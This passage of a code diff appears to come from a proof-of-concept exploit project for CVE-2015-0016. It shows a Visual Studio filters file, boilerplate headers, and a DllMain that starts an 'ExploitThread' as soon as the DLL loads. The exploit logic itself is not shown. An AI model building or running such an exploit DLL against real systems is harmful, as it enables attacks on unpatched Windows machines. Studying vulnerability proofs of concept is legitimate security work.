<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<Text Include="ReadMe.txt" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="stdafx.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="targetver.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ClCompile Include="stdafx.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="cve-2015-0016.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="dllmain.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
</Project>

View File

@ -0,0 +1,24 @@
// dllmain.cpp : Defines the entry point for the DLL application.
#include "stdafx.h"
DWORD CALLBACK ExploitThread(LPVOID hModule);
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
CreateThread(nullptr, 0, ExploitThread, hModule, 0, 0);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

View File

@ -0,0 +1,8 @@
// stdafx.cpp : source file that includes just the standard includes
// cve-2015-0016.pch will be the pre-compiled header
// stdafx.obj will contain the pre-compiled type information
#include "stdafx.h"
// TODO: reference any additional headers you need in STDAFX.H
// and not in this file

View File

@ -0,0 +1,16 @@
// stdafx.h : include file for standard system include files,
// or project specific include files that are used frequently, but
// are changed infrequently
//
#pragma once
#include "targetver.h"
#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers
// Windows Header Files:
#include <windows.h>
// TODO: reference additional headers your program requires here

Some files were not shown because too many files have changed in this diff Show More